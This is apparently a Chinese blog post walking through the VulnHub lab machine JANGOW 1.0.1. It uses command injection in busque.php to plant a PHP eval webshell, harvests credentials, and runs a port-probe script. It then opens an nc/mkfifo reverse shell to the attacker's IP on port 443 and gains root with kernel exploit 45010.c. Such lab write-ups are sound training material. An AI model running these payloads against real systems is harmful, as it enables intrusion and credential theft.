Title

vulnhub靶场之JANGOW: 1.0.1

准备:

攻击机:虚拟机kali、本机win10。

靶机:JANGOW: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/jangow/jangow-01-1.0.1.ova.torrent,下载后直接VirtualBox打开,测试时发现vm打开之后靶机获取ip会出问题(设置的桥接,在网上看了vm修改ip的问题比较麻烦,所以就直接用的VirtualBox)。

信息收集:

扫描下靶机开放的端口和服务:nmap -T4 -sV -p- -A 172.20.10.2,显示开放了21、80端口,对应的服务是ftp服务和apache服务。

访问下ftp服务和tomcat服务,但是ftp服务缺少账号和密码无法登录,tomcat服务返回了一个界面

期间也对:http://172.20.10.2/和http://172.20.10.2/site/进行了目录扫描,但是并没有什么发现

然后就在主页面寻找功能点,右键查看源代码信息,在代码中发现busque.php文件和传递的参数buscar,猜测这里是命令执行漏洞或代码执行漏洞并进行测试,url:http://172.20.10.2/site/busque.php?buscar=id,可以查看pwd、ls等信息,确认这里存在命令执行漏洞。

web渗透:

通过命令执行写入一句话后门,url:http://172.20.10.2/site/busque.php?buscar=echo '<?php eval($_POST['upfine']);?>' > upfine.php,然后通过蚁剑进行连接。

在wordpress下发现config.php文件、html下发现.backup文件,/home/jangow01/下发现user.txt文件,root文件夹无权限查看(后面肯定要进行提权,那我们就得先获得shell权限),下载下来进行查看,发现两个账户名和密码,其中jangw01/abygurl69可以用于ftp登录。

接下来进行反弹shell,但是发现nc参数不全,无法使用。

经过多种shell反弹测试,但是均未反弹成功,最后发现对端口进行了限制,经过测试发现443端口可以使用,端口测试过程如下:

在攻击机中安装iptables和libcbor0,在kali(攻击机)中使用iptables进行端口绑定,这里就限制了400:500的端口,语句:sudo iptables -A PREROUTING -t nat -p tcp --dport 400:500 -j REDIRECT --to-port 6688。

然后开启对6688端口的监听:nc -lvvp 6688,在然后在靶机中上传 一个简单的探测脚本,脚本信息:

for i in {400..450};
do
    timeout 1 nc -vz 172.20.10.5 $i && echo "$i open" >> result.txt || echo "$i closed" >> result.txt;
done

然后在蚁剑的命令窗口中执行脚本:bash test.sh,获得可以使用的端口信息。

然后就可以通过443端口来获取shell,设置的策略默认重启失效,还以为要自己删除,折腾了半天也没效果,最后才发现重启之后就会失效。

通过蚁剑编写反弹shell,语句:<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.20.10.5 443 >/tmp/f');?>,kali端开启端口监听:nc -lvvp 443,然后访问shell.php文件(http://172.20.10.2/site/shell.php)获得shell权限。

升级下shell,切换成交互式bash:python3 -c 'import pty;pty.spawn("/bin/bash")';

提权:

先查看下系统版本:uname -a。

根据系统版本号4.4.0-31在linux查询可以利用的漏洞信息:searchsploit ubuntu 4.4.0-31。

因此我们下载可以用于本地权限提升的45010.c文件并上传到靶机,可以在本地查看下文件的使用方法。

对45010.c文件进行编译生成upfine文件并执行获取root权限。

进入root目录查看文件信息和文件内容,获得:da39a3ee5e6b4b0d3255bfef95601890afd80709。

posted @ 2022-10-12 10:01  upfine  阅读(783)  评论(0编辑  收藏  举报